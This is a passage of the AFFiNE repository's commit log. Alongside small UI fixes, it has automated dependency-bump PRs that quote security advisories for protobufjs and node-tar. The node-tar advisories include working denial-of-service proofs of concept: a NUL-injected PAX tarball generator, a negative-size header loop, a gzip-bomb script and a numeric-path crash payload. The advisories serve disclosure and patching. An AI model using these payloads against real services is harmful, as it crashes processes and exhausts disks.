Commit Graph

11394 Commits

Author SHA1 Message Date
DarkSky b6b7f1eeaf feat(core): improve byok ux (#15303)
fix #15265

#### PR Dependency Tree


* **PR #15303** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
2026-07-21 19:52:34 +08:00
Diego Vega Centeno 7318ef1ed4 fix(core): forward svg props to icon renderer (#15278)
## Problem

Page reference icon is vertically misaligned because the
`pageReferenceIcon` class is not applied.
This is because `IconRenderer` does not forward SVG props to the
underlying `AffineIconRenderer` component.

## Fix

Main fix: 
- Forward SVG props in `getDocIconComponent`.
- Add support for SVG props in `IconRenderer`.

Side fixes: 
- Comment out color in `pageReferenceIcon` style so the icon inherits
its parent color now that the class is actually applied
- Remove hardcoded SVG margin used for vertical alignment.

## Before / After

**Before**
<img width="405" height="163" alt="before"
src="https://github.com/user-attachments/assets/45c6f0c9-d2f8-4295-832a-03018cbe0bf1"
/>

**After**
<img width="404" height="156" alt="after"
src="https://github.com/user-attachments/assets/fa3f955a-b1fd-4bc1-b966-09b5b9d6a7e4"
/>

## Related issues

- Fixes #14978: Makes icon vertically aligned.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- **Bug Fixes**
- Improved icon rendering so additional display properties are correctly
passed through to Affine icons.
- Updated document icon components to support standard SVG properties,
enabling more consistent customization.
- Refined reference icon styling to allow color inheritance from
surrounding UI context.
- Removed unnecessary spacing beneath reference icons for cleaner
alignment.



<!-- end of auto-generated comment: release notes by coderabbit.ai -->
v2026.7.21-canary.949
2026-07-21 14:57:50 +08:00
renovate[bot] 927cc45c7b chore: bump up protobufjs version to v7.6.5 [SECURITY] (#15296)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [protobufjs](https://redirect.github.com/protobufjs/protobuf.js) |
[`7.6.4` →
`7.6.5`](https://renovatebot.com/diffs/npm/protobufjs/7.6.4/7.6.5) |
![age](https://developer.mend.io/api/mc/badges/age/npm/protobufjs/7.6.5?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/protobufjs/7.6.4/7.6.5?slim=true)
|

---

### protobufjs: Denial of Service via infinite loop in .proto option
parsing
[CVE-2026-59877](https://nvd.nist.gov/vuln/detail/CVE-2026-59877) /
[GHSA-j3f2-48v5-ccww](https://redirect.github.com/advisories/GHSA-j3f2-48v5-ccww)

<details>
<summary>More information</summary>

#### Details
##### Summary

protobufjs parsed option names by advancing through schema tokens until
it reached an `=` token, without checking for end of input. A crafted
`.proto` schema that opens an option declaration but ends prematurely
could cause the option parser to loop without ever terminating.

This affects the reflection parsing path (`parse`, `Root.load`,
`Root.loadSync`).

##### Impact

An attacker who can provide or influence `.proto` schema text parsed by
an application may be able to cause the parsing call to never return.
Because Node.js is single-threaded, the blocked event loop prevents all
other work in the process, resulting in a denial of service that
persists until the process is externally terminated.

Applications that only encode or decode protobuf binary data with
trusted schemas are not directly affected.

##### Preconditions

- The application must parse `.proto` schema text influenced by an
attacker.
- The schema must be parsed through APIs such as `parse`, `Root.load`,
or `Root.loadSync`.
- The crafted input must begin an option declaration that ends before
its `=` assignment.

##### Workarounds

Do not parse `.proto` schemas from untrusted sources with affected
versions. If untrusted schema text must be accepted, isolate parsing in
a process or worker that can be safely terminated and bound it with a
timeout, so a non-returning parse call cannot deny service to the rest
of the application.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
-
[https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-j3f2-48v5-ccww](https://redirect.github.com/protobufjs/protobuf.js/security/advisories/GHSA-j3f2-48v5-ccww)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-59877](https://nvd.nist.gov/vuln/detail/CVE-2026-59877)
-
[https://github.com/protobufjs/protobuf.js/pull/2352](https://redirect.github.com/protobufjs/protobuf.js/pull/2352)
-
[https://github.com/protobufjs/protobuf.js/commit/10fba6d54815ceecca8a06b9a6db490c8f5d2217](https://redirect.github.com/protobufjs/protobuf.js/commit/10fba6d54815ceecca8a06b9a6db490c8f5d2217)
-
[https://github.com/protobufjs/protobuf.js/commit/fa5c73add738ceb471e74da8cc2f3727c3d0a69f](https://redirect.github.com/protobufjs/protobuf.js/commit/fa5c73add738ceb471e74da8cc2f3727c3d0a69f)
-
[https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.6.5](https://redirect.github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.6.5)
-
[https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.6.6](https://redirect.github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.6.6)
-
[https://github.com/advisories/GHSA-j3f2-48v5-ccww](https://redirect.github.com/advisories/GHSA-j3f2-48v5-ccww)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-j3f2-48v5-ccww)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>protobufjs/protobuf.js (protobufjs)</summary>

###
[`v7.6.5`](https://redirect.github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.6.5):
protobufjs: v7.6.5

[Compare
Source](https://redirect.github.com/protobufjs/protobuf.js/compare/protobufjs-v7.6.4...protobufjs-v7.6.5)

##### Bug Fixes

- handle EOF during options parsing
([#&#8203;2352](https://redirect.github.com/protobufjs/protobuf.js/issues/2352))
([#&#8203;2356](https://redirect.github.com/protobufjs/protobuf.js/issues/2356))
([10fba6d](https://redirect.github.com/protobufjs/protobuf.js/commit/10fba6d54815ceecca8a06b9a6db490c8f5d2217))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNzIuNCIsInVwZGF0ZWRJblZlciI6IjQzLjI3Mi40IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-07-21 13:27:16 +08:00
renovate[bot] cbc63b9f73 chore: bump up tar version to v7.5.19 [SECURITY] (#15297)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [tar](https://redirect.github.com/isaacs/node-tar) | [`7.5.16` →
`7.5.19`](https://renovatebot.com/diffs/npm/tar/7.5.16/7.5.19) |
![age](https://developer.mend.io/api/mc/badges/age/npm/tar/7.5.19?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tar/7.5.16/7.5.19?slim=true)
|

---

### node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath
records
[CVE-2026-59875](https://nvd.nist.gov/vuln/detail/CVE-2026-59875) /
[GHSA-gvwx-54wh-qm9j](https://redirect.github.com/advisories/GHSA-gvwx-54wh-qm9j)

<details>
<summary>More information</summary>

#### Details
##### Summary

`node-tar` strips trailing `NUL` bytes from long-name (`L`) and
long-linkpath (`K`) GNU extended headers but does **not** apply the same
sanitization to equivalent fields delivered via PAX (`x` typeflag)
extended headers. A PAX record of the form
`path=visible.txt\x00hidden.txt` is parsed verbatim into `entry.path`
and flows into `fs.lstat()` / `fs.open()`, which Node.js core rejects
with `ERR_INVALID_ARG_VALUE`. The throw originates inside an
`FSReqCallback` async chain that is **not** wrapped by the consumer's
`await/try-catch` around `tar.x()` — it surfaces as `uncaughtException`
and terminates the process.

This is a remote denial-of-service primitive against any process that
extracts attacker-supplied tarballs through `tar.x` / `tar.extract` /
`tar.t` / `tar.Parser`, even when the consumer follows the documented
`try/catch` error-handling pattern.

A secondary parser-differential (CWE-436) exists because `tar(1)`,
`bsdtar`, and Python `tarfile` truncate the path at the first `NUL`
(yielding `visible.txt`) while node-tar retains the full string. A
validator that pre-scans a tarball with one tool and extracts with the
other is bypassed.

---

##### Root cause

##### Vulnerable sink — `src/pax.ts:157-183`

PAX KV records flow through `parseKVLine`. The value half (`v`) is
assigned directly to the result object with no sanitization for embedded
NUL bytes:

```ts
// src/pax.ts:157
const parseKVLine = (set: Record<string, unknown>, line: string) => {
  const n = parseInt(line, 10)
  if (n !== Buffer.byteLength(line) + 1) return set
  line = line.slice((n + ' ').length)
  const kv = line.split('=')
  const r = kv.shift()
  if (!r) return set
  const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
  const v = kv.join('=')                                 // <-- NO NUL STRIP
  set[k] =
    /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
      new Date(Number(v) * 1000)
    : /^[0-9]+$/.test(v) ? +v
    : v                                                  // <-- v with NULs lands here
  return set
}
```

The PAX record body is length-prefixed, so the parser knows the exact
byte boundary — but it never checks whether the value half between `=`
and `\n` contains `NUL`. The result is consumed by `Header` /
`ReadEntry`, where `entry.path` and `entry.linkpath` carry the embedded
NUL all the way to `fs.lstat()`.

##### Correctly-patched cousin sink — `src/parse.ts:375-388`

The equivalent code path for GNU L/K long-headers **does** strip NUL
bytes:

```ts
// src/parse.ts:375
case 'NextFileHasLongPath':
case 'OldGnuLongPath': {
  const ex = this[EX] ?? Object.create(null)
  this[EX] = ex
  ex.path = this[META].replace(/\0.*/, '')               // <-- NUL strip applied
  break
}
case 'NextFileHasLongLinkpath': {
  const ex = this[EX] || Object.create(null)
  this[EX] = ex
  ex.linkpath = this[META].replace(/\0.*/, '')           // <-- NUL strip applied
  break
}
```

The `parse.ts` fix is the maintainer's own acknowledgement that path
strings on this codepath must be NUL-stripped before reaching `fs.*`.
The PAX path produces the identical primitive but bypasses the guard.

##### Downstream blast radius

`entry.path` and `entry.linkpath` are consumed in:
- `src/unpack.ts` → `fs.lstat`, `fs.open`, `fs.symlink`, `fs.link`,
`fs.mkdir`
- `src/list.ts` (no crash — listing tolerates NUL in strings)
- Any consumer of the `ReadEntry` event that calls `path.join()` /
`fs.*` on `entry.path`

The crash fires inside the FSReqCallback Node-internal async machinery,
**outside** the user's `await tar.x(...)` Promise rejection boundary.

---

##### Proof of Concept

##### Artifacts
- `poc-null-byte-crash.tar` — 3072 bytes — PAX
`path=visible.txt\x00hidden.txt`
- `poc-null-linkpath-crash.tar` — 2560 bytes — PAX
`linkpath=target\x00garbage` (symlink target sink)
- `poc1-pax-prefix.py` — minimal PAX-header builder (Python 3, no deps)

##### Tarball generator (minimal repro — Python 3)

```python

#!/usr/bin/env python3
"""Minimal PAX-NUL-injection tarball generator for node-tar PoC."""
import os

def cksum(b):
    s = 0
    for i, x in enumerate(b):
        s += 0x20 if 148 <= i < 156 else x
    return s

def pad512(buf):
    rem = len(buf) % 512
    return buf + b'\0' * (512 - rem) if rem else buf

def hdr(name, size, typeflag, prefix=b'', linkpath=b''):
    b = bytearray(512)
    b[0:len(name[:100])] = name[:100]
    b[100:108] = b'0000644\0'
    b[108:116] = b'0001000\0'
    b[116:124] = b'0001000\0'
    b[124:136] = ('%011o ' % size).encode()
    b[136:148] = ('%011o ' % 0).encode()
    b[148:156] = b'        '
    b[156:157] = typeflag
    b[157:157+len(linkpath[:100])] = linkpath[:100]
    b[257:265] = b'ustar\x0000'
    b[265:270] = b'root\0'
    b[297:302] = b'root\0'
    b[329:337] = b'0000000\0'
    b[337:345] = b'0000000\0'
    b[345:345+len(prefix[:155])] = prefix[:155]
    s = cksum(b)
    b[148:156] = ('%06o\0 ' % s).encode()
    return bytes(b)

def pax(records):
    body = b''
    for k, v in records:
        kv = b' ' + k + b'=' + v + b'\n'
        for digits in range(1, 8):
            total = digits + len(kv)
            if len(str(total)) == digits:
                break
        body += str(total).encode() + kv
    return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)

out  = pax([(b'path', b'visible.txt\x00hidden.txt')])  # NUL in PAX path
out += hdr(b'placeholder', 1, b'0')
out += pad512(b'A')
out += b'\0' * 1024  # end-of-archive

open('poc.tar', 'wb').write(out)
```

##### Reproduction

```bash

##### 1. Generate tarball
python3 poc1-pax-prefix.py          # writes poc.tar (3 KB)

##### 2. Install vulnerable version
mkdir repro && cd repro
npm init -y && npm install tar@7.5.16

##### 3. Try to extract with documented try/catch — observe uncaught exception
mkdir -p ./out
node --input-type=module -e '
  process.on("uncaughtException", e => {
    console.log("UNCAUGHT:", e.code, "-", e.message);
    process.exit(99);
  });
  import("tar").then(async tar => {
    try {
      await tar.x({ file: "../poc.tar", cwd: "./out" });
      console.log("NORMAL_RETURN");
    } catch (e) {
      console.log("CAUGHT_BY_USER:", e.code);
    }
  });'
```

##### Observed output (verified 2026-06-23 against `tar@7.5.16`)

```
UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,
Uint8Array, or URL without null bytes.
Received '/.../out/visible.txt\x00hidden.txt'
exit: 99
```

The exception bypasses the user's `try { await tar.x(...) } catch (e) {
... }` block and lands in the global `uncaughtException` handler. In a
typical server without that handler, the process exits.

---

##### Impact

##### Direct: remote DoS

Any service that ingests attacker-supplied tarballs via node-tar
inherits a one-tarball-kills-the-process primitive. Realistic
deployments where this is reachable without user interaction:

- npm registry tarball ingestion and downstream mirrors
- GitHub Actions cache restore (`actions/cache`, `actions/setup-*`
extracting toolchains)
- Container image build pipelines that unpack layer tarballs through
node tooling
- Backup-restore services accepting user uploads
- CI artifact processors and badge generators
- Static-site / Docusaurus / Next.js build runners that fetch and
extract dep tarballs
- Cloud functions that auto-extract uploaded archives

A correctly-coded consumer that does:

```js
try {
  await tar.x({ file: req.upload.path, cwd: tmpdir });
} catch (e) {
  return res.status(400).json({ error: 'bad archive' });
}
```

does not catch this throw. The Node process dies and (depending on the
supervisor) the worker may take time to respawn or never respawn if it
dies during boot.

##### Secondary: parser-differential validator bypass (CWE-436)

| Tool | Result for `path=visible.txt\x00hidden.txt` |

|----------------------------|----------------------------------------------|
| GNU tar (`tar -tvf`) | Lists `visible.txt` (truncated at NUL) |
| `bsdtar -tvf` | Lists `visible.txt` (truncated at NUL) |
| Python `tarfile.list()` | Lists `visible.txt\x00hidden.txt` (raw) |
| node-tar `tar.t({file})` | Emits raw NUL-bearing path (no crash) |
| node-tar `tar.x({file})` | **Crashes** (uncaught throw) |

A pre-flight validator using GNU tar or bsdtar will see a benign
filename; the subsequent node-tar extraction blows up. This is
exploitable against any architecture that
lists-and-validates-then-extracts.

---

##### Suggested patch

Match the long-name handler in `parse.ts` — strip everything from the
first NUL onward in `parseKVLine` value parsing:

```diff
--- a/src/pax.ts
+++ b/src/pax.ts
@&#8203;@&#8203; -173,7 +173,7 @&#8203;@&#8203; const parseKVLine = (set: Record<string, unknown>, line: string) => {

   const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')

-  const v = kv.join('=')
+  const v = kv.join('=').replace(/\0.*$/, '')
   set[k] =
     /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
       new Date(Number(v) * 1000)
```

This matches `src/parse.ts:379` and `src/parse.ts:386` and closes both
`path` and `linkpath` sinks in one change.

A defense-in-depth follow-up: add an explicit
`assert(!v.includes('\0'))` (or fail-soft `return set`) at the top of
`parseKVLine` so malformed PAX records that *aren't* path/linkpath also
can't smuggle NUL into other unanticipated consumers (e.g. third-party
readers of `entry.header.atime` Date objects constructed from
`Number(v)` where `v` had embedded NUL).

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
-
[https://github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-59875](https://nvd.nist.gov/vuln/detail/CVE-2026-59875)
-
[https://github.com/isaacs/node-tar/commit/7a635c29f5edbf083557374d43984273ecfed5b3](https://redirect.github.com/isaacs/node-tar/commit/7a635c29f5edbf083557374d43984273ecfed5b3)
-
[https://github.com/isaacs/node-tar/releases/tag/v7.5.17](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.17)
-
[https://github.com/advisories/GHSA-gvwx-54wh-qm9j](https://redirect.github.com/advisories/GHSA-gvwx-54wh-qm9j)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-gvwx-54wh-qm9j)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### node-tar: Negative tar entry size causes infinite loop in archive
replace
[CVE-2026-59874](https://nvd.nist.gov/vuln/detail/CVE-2026-59874) /
[GHSA-8x88-c5mf-7j5w](https://redirect.github.com/advisories/GHSA-8x88-c5mf-7j5w)

<details>
<summary>More information</summary>

#### Details
##### Summary

A checksum-valid tar archive with a negative base-256 encoded entry size
can make `tar.replace()` loop forever while scanning the existing
archive. Applications that update attacker-controlled tar archives can
have a worker process pinned indefinitely, causing denial of service.

##### Details

The public `tar.replace()` API scans the existing archive before
appending replacement entries. During this scan, it parses each tar
header and advances the archive position by the parsed entry size
rounded to a 512-byte block boundary.

Tar supports base-256 encoded numeric fields. A crafted header can
encode the entry size as `-512` while still carrying a valid checksum.
The replace scan accepts that parsed negative size and uses it in the
position-advance calculation.

For a size of `-512`, the computed body skip is `-512`. The scan then
adds the normal 512-byte header step, resulting in no net progress. The
scanner repeatedly parses the same header forever and never reaches the
append step.

This is reachable through the supported package API when the existing
archive file is attacker controlled. It does not rely on extraction,
dependency behavior, or an uncaught exception.

##### PoC

Save as `poc.mjs` in a project with the vulnerable package installed and
run:

```bash
node poc.mjs
```

```js
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'

const oct = (b, n, off, len) =>
  b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')

const badHeader = () => {
  const h = Buffer.alloc(512)

  h.write('x', 0)
  oct(h, 0o644, 100, 8)
  oct(h, 0, 108, 8)
  oct(h, 0, 116, 8)

  // base-256 encoded -512 in the size field
  Buffer.alloc(10, 0xff).copy(h, 124)
  h[134] = 0xfe
  h[135] = 0x00

  oct(h, 0, 136, 12)
  h.fill(0x20, 148, 156)
  h[156] = 0x30
  h.write('ustar\0' + '00', 257, 8, 'binary')

  let sum = 0
  for (const c of h) sum += c
  h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')

  return h
}

const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')

fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')

const r = spawnSync(
  process.execPath,
  [
    '--input-type=module',
    '-e',
    `
      import * as tar from 'tar'
      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
      console.log('completed')
    `,
  ],
  { timeout: 20_000 }
)

console.log(r.error?.code === 'ETIMEDOUT')

// Output: true
```

##### Impact

An application that calls `tar.replace()` on an existing archive
supplied or controlled by an attacker can be forced into a
non-terminating archive scan. This can consume a worker process
indefinitely and cause denial of service. Plain extraction-only
workflows are not affected by this finding.

#### Severity
- CVSS Score: 8.7 / 10 (High)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`

#### References
-
[https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-59874](https://nvd.nist.gov/vuln/detail/CVE-2026-59874)
-
[https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5](https://redirect.github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)
-
[https://github.com/isaacs/node-tar/releases/tag/v7.5.18](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.18)
-
[https://github.com/advisories/GHSA-8x88-c5mf-7j5w](https://redirect.github.com/advisories/GHSA-8x88-c5mf-7j5w)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-8x88-c5mf-7j5w)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### node-tar: Decompression/parse DoS via unlimited input
[CVE-2026-59873](https://nvd.nist.gov/vuln/detail/CVE-2026-59873) /
[GHSA-23hp-3jrh-7fpw](https://redirect.github.com/advisories/GHSA-23hp-3jrh-7fpw)

<details>
<summary>More information</summary>

#### Details
##### Summary
A **Decompression/parse DoS via unlimited input** vulnerability in
`node-tar` allows an attacker to exhaust server resources (disk space
and CPU). Because the library does not enforce hard upper bounds on
total decompressed data or entry counts, a small, maliciously crafted
"Gzip Bomb" can be used to fill a server's storage and crash services.

##### Details
The `node-tar` library does not enforce a hard upper bound on archive
size or the volume of decompressed data processed during extraction.
While the `maxReadSize` option exists, it only controls internal read
chunk sizes (default 16MB) and does not limit the total cumulative bytes
written to disk.

Specifically, in `src/extract.ts`, the `Unpack` stream processes entries
as they arrive. There is no total-bytes limit, entry-count limit, or
decompression ratio guard. An attacker can provide a TAR header claiming
a massive file size (e.g., 10GB) and follow it with highly compressible
data (like zeros). `node-tar` will continue to extract and write this
data until the physical disk is exhausted, as it lacks a mechanism to
abort based on global resource consumption.

##### PoC
The following Proof of Concept demonstrates how a tiny compressed input
can be expanded into gigabytes of data on the host machine almost
instantly.

1. Create the exploit script:
```javascript
const fs = require('fs'), z = require('zlib'), t = require('tar');

const d = 'dos_test';
if (fs.existsSync(d)) fs.rmSync(d, {recursive:true});
fs.mkdirSync(d);

// Build 10GB header
const h = Buffer.alloc(512);
h.write('payload');
h.write((10*1024**3).toString(8).padStart(11,'0'), 124); 
h.write('ustar', 257);
let s = 256;
for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];
h.write(s.toString(8).padStart(6,'0'), 148);

const gz = z.createGzip();
gz.pipe(t.x({cwd: d}));
gz.write(h);

const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed

const run = () => {
  while (gz.write(b));
  gz.once('drain', run);
};

const monitor = setInterval(() => {
    try {
        const bytes = fs.statSync(`${d}/payload`).size;
        const mb = Math.floor(bytes / (1024 * 1024));
        process.stdout.write(`\r[>] Extracted: ${mb} MB`);
        
        if (mb > 5000) { 
            console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); 
            process.exit(); 
        }
    } catch {}
}, 50);

process.on('exit', () => {
    clearInterval(monitor);
    console.log('[*] Cleaning up...');
    if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});
});

run();
```

2. Run the PoC:
```bash
node poc.js
```

**Observation:** You will see the extracted size rapidly climb to 5,000
MB+ within seconds, while the actual data being "sent" through the gzip
stream is negligible.

##### Impact
This is a **Denial of Service (DoS)** vulnerability. It impacts any
application or service that uses `node-tar` to extract archives provided
by untrusted users (e.g., npm registries, CI/CD pipelines, or
file-sharing platforms). An unauthenticated attacker can send a small
payload that expands to consume all available disk space, leading to
system-wide failure and service outages.

#### Severity
- CVSS Score: 9.2 / 10 (Critical)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H`

#### References
-
[https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-59873](https://nvd.nist.gov/vuln/detail/CVE-2026-59873)
-
[https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3](https://redirect.github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)
-
[https://github.com/isaacs/node-tar/releases/tag/v7.5.19](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.19)
-
[https://github.com/advisories/GHSA-23hp-3jrh-7fpw](https://redirect.github.com/advisories/GHSA-23hp-3jrh-7fpw)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-23hp-3jrh-7fpw)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### node-tar: Process crash via PAX numeric path type confusion
[CVE-2026-59871](https://nvd.nist.gov/vuln/detail/CVE-2026-59871) /
[GHSA-w8wr-v893-vjvp](https://redirect.github.com/advisories/GHSA-w8wr-v893-vjvp)

<details>
<summary>More information</summary>

#### Details
##### Summary

A crafted 2.5KB tar archive crashes any Node.js process that extracts
it. The PAX header parser coerces all-digit path values to JavaScript
numbers, which causes an uncaught TypeError when downstream code calls
`.split('/')` on the numeric value. Error handlers and `strict: false`
cannot intercept the crash.

##### Details

In `pax.ts` line 180, `parseKV` converts PAX values matching
`/^[0-9]+$/` to numbers via `+v`. This applies to all fields including
`path` and `linkpath`. When a PAX header sets `path` to an all-digit
string like `"12345"`, the value becomes the number `12345`.

This number flows through Header -> ReadEntry -> Unpack.CHECKPATH, where
`normalizeWindowsPath(entry.path).split('/')` throws a TypeError because
numbers don't have `.split()`.

The throw is synchronous during event emission and bypasses all error
handling:
- `strict: false` does not help
- `'error'` event handlers do not catch it
- `'warn'` handlers do not catch it
- The TypeError propagates through the event emitter stack as an
uncaughtException

Directory, SymbolicLink, and Link type entries reach CHECKPATH and
crash. File type entries crash earlier in Header constructor at
`this.path.slice(-1)`, but that throw is caught and emitted as a warning
only.

##### PoC

Create a tar archive with a PAX extended header containing an all-digit
path:

```
PAX header body: "18 path=12345\n"
Entry type: Directory (type '5')
```

Extract it:
```js
const tar = require('tar');

// All of these crash with TypeError: t.split is not a function
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test' });

// Error handlers don't help:
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test', strict: false })
  .on('error', (err) => { /* never reached */ })
  .on('warn', (code, msg) => { /* never reached */ });
```

The archive is ~2.5KB. The crash is deterministic on every attempt.

##### Impact

Denial of service. Any application or tool that extracts untrusted tar
archives crashes from a single small file. This includes npm (which uses
node-tar to extract packages), CI/CD pipelines, file upload processors,
and backup tools. The crash cannot be caught by application-level error
handling.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
-
[https://github.com/isaacs/node-tar/security/advisories/GHSA-w8wr-v893-vjvp](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-w8wr-v893-vjvp)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-59871](https://nvd.nist.gov/vuln/detail/CVE-2026-59871)
-
[https://github.com/isaacs/node-tar/commit/e02a4e9e013c4be95302e2eb2047a942b883c27b](https://redirect.github.com/isaacs/node-tar/commit/e02a4e9e013c4be95302e2eb2047a942b883c27b)
-
[https://github.com/isaacs/node-tar/releases/tag/v7.5.18](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.18)
-
[https://github.com/advisories/GHSA-w8wr-v893-vjvp](https://redirect.github.com/advisories/GHSA-w8wr-v893-vjvp)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-w8wr-v893-vjvp)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>isaacs/node-tar (tar)</summary>

###
[`v7.5.19`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.18...v7.5.19)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.18...v7.5.19)

###
[`v7.5.18`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.17...v7.5.18)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.17...v7.5.18)

###
[`v7.5.17`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.16...v7.5.17)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.16...v7.5.17)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNzIuNCIsInVwZGF0ZWRJblZlciI6IjQzLjI3Mi40IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-07-21 13:26:52 +08:00
renovate[bot] bd3fc7c78e chore: bump up js-yaml version to v4.3.0 [SECURITY] (#15298)
